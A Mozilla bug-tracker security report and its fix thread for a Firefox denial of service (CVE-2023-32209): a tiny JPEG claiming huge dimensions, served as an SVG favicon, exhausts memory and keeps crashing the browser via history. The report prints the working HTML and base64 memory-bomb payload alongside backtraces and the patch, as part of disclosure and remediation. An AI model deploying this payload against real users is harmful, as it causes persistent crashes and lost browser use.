Closed Bug 1767194 (CVE-2023-32209) Opened 2 years ago Closed 1 year ago

persistent browser DoS via favicon containing a small JPEG images that list their image dimensions as large

Categories

(Core :: Graphics: ImageLib, defect)

defect

Tracking

()

VERIFIED FIXED
113 Branch
Tracking Status
firefox-esr102 --- wontfix
firefox111 --- wontfix
firefox112 --- wontfix
firefox113 --- verified

People

(Reporter: sam.z.ezeh, Assigned: tnikkel)

References

(Blocks 1 open bug, )

Details

(5 keywords, Whiteboard: [reporter-external] [client-bounty-form] [verif?][adv-main113+])

Attachments

(6 files, 2 obsolete files)

Summary

Upon loading a jpeg image with large dimensions, Firefox attempts to allocate a large amount of memory which in certain contexts can causes effects outside of the sandbox, causing Firefox to crash.

System configuration

  • Firefox Developer Edition 100.0b9 (64-bit)
  • Linux kernel version 5.17.4

Description

I was able create a single pixel image file of size 1.4kb. I then modified the binary image file data to list the dimensions of the image as 61680 x 61680. In order to render this image, Firefox attempts to allocate memory to store this image.

When a page that displays this image is rendered, the sandboxed tab crashes. However, when the image is viewed inside the Network Monitor, the Firefox application also crashes after it is killed by the OOM-killer.

Proof of Concept

  1. Loading the following image in the browser will cause the tab to crash: https://exploit-py.herokuapp.com/tiny.jpg
  2. Opening the Network Monitor and previewing the image (e.g. by hovering over the image name) will cause Firefox to crash.
sam@samtop ~ % firefox-developer-edition 
ATTENTION: default value of option mesa_glthread overridden by environment.
ATTENTION: default value of option mesa_glthread overridden by environment.
ATTENTION: default value of option mesa_glthread overridden by environment.
Corrupt JPEG data: premature end of data segment
Exiting due to channel error.
Exiting due to channel error.
Exiting due to channel error.
[1]    47893 killed     firefox-developer-edition
firefox-developer-edition  11.74s user 21.24s system 104% cpu 31.489 total
137 sam@samtop ~ %  

Relevant code

In image/decoders/iccjpeg.c
https://hg.mozilla.org/mozilla-central/file/6e268f45bed2487cce05cfae5cabb7c1c8f415a6/image/decoders/iccjpeg.c#l159

/* Allocate space for assembled data */
icc_data = (JOCTET*)malloc(total_length * sizeof(JOCTET));
if (icc_data == NULL) {
  return FALSE; /* oops, out of memory */
}

In image/decoders/nsJPEGDecoder.cpp
https://hg.mozilla.org/mozilla-central/file/6e268f45bed2487cce05cfae5cabb7c1c8f415a6/image/decoders/nsJPEGDecoder.cpp#l839

// Round up to multiple of 256 bytes.
const size_t roundup_buflen = ((new_backtrack_buflen + 255) >> 8) << 8;
JOCTET* buf = (JOCTET*)realloc(decoder->mBackBuffer, roundup_buflen);
// Check for OOM
if (!buf) {
  decoder->mInfo.err->msg_code = JERR_OUT_OF_MEMORY;
  my_error_exit((j_common_ptr)(&decoder->mInfo));
}

In media/libjpeg/jdhuff.c
https://searchfox.org/mozilla-central/source/media/libjpeg/jdhuff.c#354-373

no_more_bytes:
    /* We get here if we've read the marker that terminates the compressed
     * data segment.  There should be enough bits in the buffer register
     * to satisfy the request; if so, no problem.
     */
    if (nbits > bits_left) {
      /* Uh-oh.  Report corrupted data to user and stuff zeroes into
       * the data stream, so that we can produce some kind of image.
       * We use a nonvolatile flag to ensure that only one warning message
       * appears per data segment.
       */
      if (!cinfo->entropy->insufficient_data) {
        WARNMS(cinfo, JWRN_HIT_MARKER);
        cinfo->entropy->insufficient_data = TRUE;
      }
      /* Fill the buffer with zero bits */
      get_buffer <<= MIN_GET_BITS - bits_left;
      bits_left = MIN_GET_BITS;
    }
  }

WARNMS(cinfo, JWRN_HIT_MARKER) generates the Corrupt JPEG data: premature end of data segment message.

In general, when Linux is configured to overcommit memory (this is the default configuration), malloc doesn't return 0 when there is no memory left.

It is also possible for the OOM killer to kill a process that isn't Firefox that happens to be vital to the function of the Operating System causing an OS crash.

Notes

In Chromium, upon loading this image does not crash. On chromium in certain contexts, the image with fail to load and is displayed as an invalid image file. In other contexts, the image will correctly be displayed as single pixel white image. This happens without causing excessive memory usage.

It's possible that images loaded from inside sandboxed tabs should not be loaded outside of the sandbox.

Flags: sec-bounty?
Group: firefox-core-security → gfx-core-security
Component: Security → ImageLib
Keywords: csectype-dos
Product: Firefox → Core

It is also possible for the OOM killer to kill a process that isn't Firefox that happens to be vital to the function of the Operating System causing an OS crash.

That part doesn't sound like a Firefox problem.

We do happily kill off sandboxed processes doing strange things -- now you know that place sucks, and don't go back.

We do try to avoid crashes that kill the parent process; let's see what we can do here. Luckily it's devtools triggered so I won't affect most users in practice.

Status: UNCONFIRMED → NEW
Ever confirmed: true
Keywords: sec-low

fwiw the testcase doesn't crash on my mac.

Luckily it's devtools triggered so I won't affect most users in practice.

Loading the following page [1] will cause Firefox to crash as well. It's also relatively persistent as typing "secondary" into my URL bar or even just accessing today's browser history causes a crash.

The favicon is an SVG file that loads the image linked above.

[1]: https://exploit-py.herokuapp.com/secondary.html

On a fresh install, the page is displayed as a shortcut and Firefox becomes unusable.

I've just noticed the attachment section on this page. I'll reupload the documents directly to the bug tracker when I get the chance.

Attached file SVG file containing JPEG image data (obsolete) —

Oh, it looks like that only uploaded a document containing a link to the files.

Here is the text content of the web page.

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title> Web page </title>
    <link rel="icon" type="image/svg+xml" href="/favicon.svg">
  </head>
  <body>
    page content
  </body>
</html>

The following is the content of the SVG favicon.

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="5cm" height="4cm" version="1.1"
     xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image href="data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEBLAEsAAD/4QCwRXhpZgAATU0AKgAAAAgABQEaAAUAAAABAAAASgEbAAUAAAABAAAAUgEoAAMAAAABAAIAAAITAAMAAAABAAEAAIdpAAQAAAABAAAAWgAAAAAAAAEsAAAAAQAAASwAAAABAAaQAAAHAAAABDAyMzKRAQAHAAAABAECAwCgAAAHAAAABDAxMDCgAQADAAAAAf//AACgAgADAAAAAf//AACgAwADAAAAAf//AAAAAAAA//4AE0NyZWF0ZWQgd2l0aCBHSU1Q/+ICsElDQ19QUk9GSUxFAAEBAAACoGxjbXMEMAAAbW50clJHQiBYWVogB+YAAgAUABAAAgAvYWNzcEFQUEwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPbWAAEAAAAA0y1sY21zAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANZGVzYwAAASAAAABAY3BydAAAAWAAAAA2d3RwdAAAAZgAAAAUY2hhZAAAAawAAAAsclhZWgAAAdgAAAAUYlhZWgAAAewAAAAUZ1hZWgAAAgAAAAAUclRSQwAAAhQAAAAgZ1RSQwAAAhQAAAAgYlRSQwAAAhQAAAAgY2hybQAAAjQAAAAkZG1uZAAAAlgAAAAkZG1kZAAAAnwAAAAkbWx1YwAAAAAAAAABAAAADGVuVVMAAAAkAAAAHABHAEkATQBQACAAYgB1AGkAbAB0AC0AaQBuACAAcwBSAEcAQm1sdWMAAAAAAAAAAQAAAAxlblVTAAAAGgAAABwAUAB1AGIAbABpAGMAIABEAG8AbQBhAGkAbgAAWFlaIAAAAAAAAPbWAAEAAAAA0y1zZjMyAAAAAAABDEIAAAXe///zJQAAB5MAAP2Q///7of///aIAAAPcAADAblhZWiAAAAAAAABvoAAAOPUAAAOQWFlaIAAAAAAAACSfAAAPhAAAtsRYWVogAAAAAAAAYpcAALeHAAAY2XBhcmEAAAAAAAMAAAACZmYAAPKnAAANWQAAE9AAAApbY2hybQAAAAAAAwAAAACj1wAAVHwAAEzNAACZmgAAJmcAAA9cbWx1YwAAAAAAAAABAAAADGVuVVMAAAAIAAAAHABHAEkATQBQbWx1YwAAAAAAAAABAAAADGVuVVMAAAAIAAAAHABzAFIARwBC/9sAQwADAgIDAgIDAwMDBAMDBAUIBQUEBAUKBwcGCAwKDAwLCgsLDQ4SEA0OEQ4LCxAWEBETFBUVFQwPFxgWFBgSFBUU/9sAQwEDBAQFBAUJBQUJFA0LDRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU/8IAEQjw8PDwAwERAAIRAQMRAf/EABQAAQAAAAAAAAAAAAAAAAAAAAj/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIQAxAAAAFUn//EABQQAQAAAAAAAAAAAAAAAAAAAAD/2gAIAQEAAQUCf//EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAIAQMBAT8Bf//EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAIAQIBAT8Bf//EABQQAQAAAAAAAAAAAAAAAAAAAAD/2gAIAQEABj8Cf//EABQQAQAAAAAAAAAAAAAAAAAAAAD/2gAIAQEAAT8hf//aAAwDAQACAAMAAAAQn//EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAIAQMBAT8Qf//EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAIAQIBAT8Qf//EABQQAQAAAAAAAAAAAAAAAAAAAAD/2gAIAQEAAT8Qf//Z" x="0" y="0" height="50px" width="50px"/>
</svg>

fwiw the testcase doesn't crash on my mac.

I should have clarified earlier that I only expect this to cause a crash on Linux systems. I have observed excess memory usage on Windows using the Task Manager but loading the image didn't lead to a crash. Using gnome-system-monitor on the Linux installation also displayed excess memory usage and loading the image led to a crash.

(In reply to Daniel Veditz [:dveditz] from comment #1)

We do try to avoid crashes that kill the parent process; let's see what we can do here. Luckily it's devtools triggered so I won't affect most users in practice.

Do we need to re-evaluate the sec-low in light of comment #3 (using favicons to get this to hit the parent) ?

Flags: needinfo?(dveditz)
Attached image tiny.jpg (memory bomb)
Flags: needinfo?(dveditz)
Attachment #9275127 - Attachment is obsolete: true
Attachment #9275128 - Attachment is obsolete: true
Attachment #9276196 - Attachment description: bug1767194.html DOS on open!!! → bug1767194.html testcase, but doesn't work in a hidden bug

With the testcase in comment 3 my mac does hang the parent process for 30 seconds or so. And as mentioned in that comment I see the problem again (hang for me) when the awesomebar tries to display a match, and another hang when I open any of the various ways to open history (Hamburger or library toolbar icon menu, sidebar, old "Show all History" dialog). After I had opened the testcase on heroku and again on a local server the hang opening History was twice as long.

In my case I could "fix" the problem by deleting the entries from the history dialog once I'd waited out the hang. If this is instead a crash as described for Linux then users would be pretty stuck. If they can avoid crashing on start-up (see comment about how it gets incorporated into the new-tab page in a fresh profile since nothing else is there) users could go straight to the "Clear Recent History" menu item and get rid of the entries that way. Otherwise, the places database is not something a typical user can edit outside of Firefox itself so they're stuck.

Do we need to re-evaluate the sec-low in light of comment #3 (using favicons to get this to hit the parent) ?

It does turn a simple crash into a persistent DOS for affected users. It's worse as a usability problem than a "security" one, but we can raise the severity.

Blocks: eviltraps
Severity: -- → S2

The backtrace indicates firefox gets stuck in DoDecode in nsJPEGDecoder.cpp when it calls ReadJPEGData.

nsJPEGDecoder.cpp

DoDecode

LexerResult nsJPEGDecoder::DoDecode(SourceBufferIterator& aIterator,
                                    IResumable* aOnResume) {
  MOZ_ASSERT(!HasError(), "Shouldn't call DoDecode after error!");

  return mLexer.Lex(aIterator, aOnResume,
                    [=](State aState, const char* aData, size_t aLength) {
                      switch (aState) {
                        case State::JPEG_DATA:
                          return ReadJPEGData(aData, aLength);
                        case State::FINISHED_JPEG_DATA:
                          return FinishedJPEGData();
                      }
                      MOZ_CRASH("Unknown State");
                    });
}

ReadJPEGData

LexerTransition<nsJPEGDecoder::State> nsJPEGDecoder::ReadJPEGData(
    const char* aData, size_t aLength) {
      ...
      mInfo.dct_method = JDCT_ISLOW;
      mInfo.dither_mode = JDITHER_FS;
      mInfo.do_fancy_upsampling = TRUE;
      mInfo.enable_2pass_quant = FALSE;
      mInfo.do_block_smoothing = TRUE;

      // Step 5: Start decompressor
      if (jpeg_start_decompress(&mInfo) == FALSE) {
        MOZ_LOG(sJPEGDecoderAccountingLog, LogLevel::Debug,
                ("} (I/O suspension after jpeg_start_decompress())"));
        return Transition::ContinueUnbuffered(
            State::JPEG_DATA);  // I/O suspension
      }
    ...
    case JPEG_DECOMPRESS_PROGRESSIVE: {
        ...
        do {
          status = jpeg_consume_input(&mInfo);

          if (status == JPEG_REACHED_SOS || status == JPEG_REACHED_EOI ||
              status == JPEG_SUSPENDED) {
            // record the first scan where all components are present
            all_components_seen = AllComponentsSeen(mInfo);
            if (!scan_to_display_first && all_components_seen) {
              scan_to_display_first = mInfo.input_scan_number;
            }
          }
        } while ((status != JPEG_SUSPENDED) && (status != JPEG_REACHED_EOI));

I think setting mInfo->mem->max_memory_to_use to a reasonable value will resolve this.

Backtraces

First backtrace

#0  0x00007ffff7b9adc0 in  () at /usr/lib/libc.so.6
#1  0x000055555562f7c4 in __asan_memset() ()
    at /builds/worker/fetches/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:26
#2  0x00007fffe060a94e in jzero_far () at /builds/worker/checkouts/gecko/media/libjpeg/jutils.c:132
#3  0x00007fffe05fbfa1 in access_virt_barray () at /builds/worker/checkouts/gecko/media/libjpeg/jmemmgr.c:964
#4  0x00007fffe0586a91 in consume_data () at /builds/worker/checkouts/gecko/media/libjpeg/jdcoefct.c:205
#5  0x00007fffda309687 in ReadJPEGData() () at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:464
#6  0x00007fffda385dd5 in operator() () at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:186
#7  ContinueUnbufferedRead<(lambda at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:183:21)>(void)
    () at /builds/worker/checkouts/gecko/image/StreamingLexer.h:555
#8  0x00007fffda3066f8 in UnbufferedRead<(lambda at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:183:21)> () at /builds/worker/checkouts/gecko/image/StreamingLexer.h:501
#9  Lex<(lambda at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:183:21)> ()
    at /builds/worker/checkouts/gecko/image/StreamingLexer.h:469
#10 DoDecode() () at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:182
#11 0x00007fffda1f697c in Decode() () at /builds/worker/checkouts/gecko/image/Decoder.cpp:177
#12 0x00007fffda205f27 in Run() () at /builds/worker/checkouts/gecko/image/DecodedSurfaceProvider.cpp:125
#13 0x00007fffda2050e9 in SyncRunIfPossible() () at /builds/worker/checkouts/gecko/image/DecodePool.cpp:193

Second backtrace

#0  0x00007ffff7b9adc0 in  () at /usr/lib/libc.so.6
#1  0x00005555555b19bc in Allocate() ()
    at /builds/worker/fetches/llvm-project/compiler-rt/lib/asan/asan_allocator.cpp:588
#2  0x00005555555af5c4 in asan_malloc() ()
    at /builds/worker/fetches/llvm-project/compiler-rt/lib/asan/asan_allocator.cpp:953
#3  0x00005555556301be in __interceptor_malloc() ()
    at /builds/worker/fetches/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:70
#4  0x00007fffe05f9d9e in alloc_large () at /builds/worker/checkouts/gecko/media/libjpeg/jmemmgr.c:385
#5  0x00007fffe05fa2fc in alloc_barray () at /builds/worker/checkouts/gecko/media/libjpeg/jmemmgr.c:521
#6  0x00007fffe05fb131 in realize_virt_arrays () at /builds/worker/checkouts/gecko/media/libjpeg/jmemmgr.c:735
#7  0x00007fffe05ba788 in master_selection () at /builds/worker/checkouts/gecko/media/libjpeg/jdmaster.c:561
#8  jinit_master_decompress () at /builds/worker/checkouts/gecko/media/libjpeg/jdmaster.c:725
#9  0x00007fffe057fdc2 in jpeg_start_decompress () at /builds/worker/checkouts/gecko/media/libjpeg/jdapistd.c:49
#10 0x00007fffda3091f5 in ReadJPEGData() () at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:400
#11 0x00007fffda385dd5 in operator() () at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:186
#12 ContinueUnbufferedRead<(lambda at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:183:21)>(void)
    () at /builds/worker/checkouts/gecko/image/StreamingLexer.h:555
#13 0x00007fffda3066f8 in UnbufferedRead<(lambda at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:183:21)> () at /builds/worker/checkouts/gecko/image/StreamingLexer.h:501
#14 Lex<(lambda at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:183:21)> ()
    at /builds/worker/checkouts/gecko/image/StreamingLexer.h:469
#15 DoDecode() () at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:182

Third backtrace using the debug build

#0  0x00007ffff7b9adc0 in  () at /usr/lib/libc.so.6
#1  0x0000555555640234 in __asan_memset() ()
    at /builds/worker/fetches/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:26
#2  0x00007fffd3eba69e in jzero_far (target=0x7ff9aa87eba0, bytestozero=140710284083200)
    at /builds/worker/checkouts/gecko/media/libjpeg/jutils.c:132
#3  0x00007fffd3eb0a66 in access_virt_barray
    (cinfo=0x61c00047e2b0, ptr=0x629001ac8540, start_row=891, num_rows=<optimized out>, writable=1)
    at /builds/worker/checkouts/gecko/media/libjpeg/jmemmgr.c:964
#4  0x00007fffd3e53b0d in consume_data (cinfo=0x61c00047e2b0)
    at /builds/worker/checkouts/gecko/media/libjpeg/jdcoefct.c:205
#5  0x00007fffd3e4bd28 in jpeg_consume_input (cinfo=0x61c00047e2b0)
    at /builds/worker/checkouts/gecko/media/libjpeg/jdapimin.c:333
#6  0x00007fffc88e7f7d in mozilla::image::nsJPEGDecoder::ReadJPEGData(char const*, unsigned long)
    (this=0x61c00047e080, aData=<optimized out>, aLength=<optimized out>)
    at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:464
#7  0x00007fffc899d7b9 in mozilla::image::nsJPEGDecoder::DoDecode(mozilla::image::SourceBufferIterator&, mozilla::image::IResumable*)::$_8::operator()(mozilla::image::nsJPEGDecoder::State, char const*, unsigned long) const
    (aState=<optimized out>, aData=0x7ff9aa7fc000 "", aLength=3, this=<optimized out>)
    at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:186
#8  mozilla::image::StreamingLexer<mozilla::image::nsJPEGDecoder::State, 16ul>::ContinueUnbufferedRead<mozilla::image::nsJPEGDecoder::DoDecode(mozilla::image::SourceBufferIterator&, mozilla::image::IResumable*)::$_8>(char const*, unsigned long, unsigned long, mozilla::image::nsJPEGDecoder::DoDecode(mozilla::image::SourceBufferIterator&, mozilla::image::IResumable*)::$_8)
    (this=0x61c00047e208, aData=<optimized out>, aLength=<optimized out>, aChunkLength=<optimized out>, aFunc=...)
    at /builds/worker/checkouts/gecko/image/StreamingLexer.h:555
#9  0x00007fffc88e352b in mozilla::image::StreamingLexer<mozilla::image::nsJPEGDecoder::State, 16ul>::UnbufferedRead<mozilla::image::nsJPEGDecoder::DoDecode(mozilla::image::SourceBufferIterator&, mozilla::image::IResumable*)::$_8>(mozilla::image::SourceBufferIterator&, mozilla::image::nsJPEGDecoder::DoDecode(mozilla::image::SourceBufferIterator&, mozilla::image::IResumable*)::$_8) (this=0x0, aIterator=..., aFunc=...)
    at /builds/worker/checkouts/gecko/image/StreamingLexer.h:501
#10 mozilla::image::StreamingLexer<mozilla::image::nsJPEGDecoder::State, 16ul>::Lex<mozilla::image::nsJPEGDecoder::DoDecode(mozilla::image::SourceBufferIterator&, mozilla::image::IResumable*)::$_8>(mozilla::image::SourceBufferIterator&, mozilla::image::IResumable*, mozilla::image::nsJPEGDecoder::DoDecode(mozilla::image::SourceBufferIterator&, mozilla::image::IResumable*)::$_8) (this=0x0, aIterator=..., aOnResume=0x61200001e9c0, aFunc=...)
    at /builds/worker/checkouts/gecko/image/StreamingLexer.h:469
#11 mozilla::image::nsJPEGDecoder::DoDecode(mozilla::image::SourceBufferIterator&, mozilla::image::IResumable*)
    (this=0x3c38, aIterator=<optimized out>, aOnResume=<optimized out>)
    at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:182

I've built firefox with this patch and the issue is resolved.

diff --git a/image/decoders/nsJPEGDecoder.cpp b/image/decoders/nsJPEGDecoder.cpp
--- a/image/decoders/nsJPEGDecoder.cpp
+++ b/image/decoders/nsJPEGDecoder.cpp
@@ -396,6 +396,9 @@ LexerTransition<nsJPEGDecoder::State> ns
       mInfo.enable_2pass_quant = FALSE;
       mInfo.do_block_smoothing = TRUE;
 
+      // Use a maximum of 100MB while loading images
+      mInfo.mem->max_memory_to_use = 100 * 1024 * 1024;
+
       // Step 5: Start decompressor
       if (jpeg_start_decompress(&mInfo) == FALSE) {
         MOZ_LOG(sJPEGDecoderAccountingLog, LogLevel::Debug,

I've attached a more minimal html test case that reproduces the crash without requiring an external SVG file

Attached patch sam-ezeh.patchSplinter Review

My only thought right now is that the 100MB limit could be reduced even further.

Normally I submit tests with patches but I'm quite unfamiliar with the firefox test suite and I'm not sure how I'd integrate the example file. The following query however seems to suggest there isn't any more of this specific issue when processing jpeg images.

match cxxMethodDecl(
    hasDescendant(
        callExpr(
            callee(
                functionDecl(
                    hasName("jpeg_start_decompress")
                 )
             )
         )
     ),
     unless(
        hasDescendant(
            binaryOperator(
                isAssignmentOperator(),
                hasLHS(
                    memberExpr(
                        member(
                            hasName("max_memory_to_use")
                        )
                    )
                )
            )
        )
     )
 )

Probably the issue is already filed as one of bug 1277397, bug 1252200, bug 1462008.

In other places we have used SurfaceCache::CanHold to put some finite limit on memory used while decoding (ie https://searchfox.org/mozilla-central/rev/b4150d1c6fae0c51c522df2d2c939cf5ad331d4c/image/SurfaceFilters.h#232 ). This value is like about 2GB iirc. Much larger than the 100mb you have, but having any reasonable finite limit should be enough to avoid problems here.

Attachment #9276912 - Attachment mime type: application/octet-stream → text/html
See Also: → 1277397, 1252200, 1462008

(In reply to Timothy Nikkel (:tnikkel) from comment #20)

Probably the issue is already filed as one of bug 1277397, bug 1252200, bug 1462008.

True, those look similar and might be the same underlying "bug". But the trick of DoSing the parent by making it a favicon makes the impact worse. The favicon gets into your history so even when you restart you get DoS'd all over again every time the awesomebar brings up that match. If your machine has gobs of memory like mine and doesn't crash maybe you can eventually delete it out of history, but if you crash because not enough memory it's going to be stuck there until you create a new profile.

Depends on: 1277397
Flags: sec-bounty? → sec-bounty+
Summary: Denial of Service when loading small JPEG images that list their image dimensions as large → persistent browser DoS via favicon containing a small JPEG images that list their image dimensions as large
Assignee: nobody → tnikkel

I posted a patch in bug 1277397 since I don't think the patch needs to be in a sec bug.

This should be fixed by bug 1277397 now.

Status: NEW → RESOLVED
Closed: 1 year ago
Resolution: --- → FIXED
Group: gfx-core-security → core-security-release
Target Milestone: --- → 113 Branch
Flags: qe-verify+
Whiteboard: [reporter-external] [client-bounty-form] [verif?] → [reporter-external] [client-bounty-form] [verif?][adv-main113+]
QA Whiteboard: [post-critsmash-triage]
Attached file advisory.txt

Hello I have managed to reproduce the issue with Firefox 101.0a1(2022-04-30) with the test case provided in comment 17 with Ubuntu 22.04. I can confirm that the issue is fixed with firefox 113.0 and 114.0a1(2023-05-03) on Ubuntu 22.04, MacOS 10.15 and Windows 10.

Status: RESOLVED → VERIFIED
Flags: qe-verify+
Alias: CVE-2023-32209
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: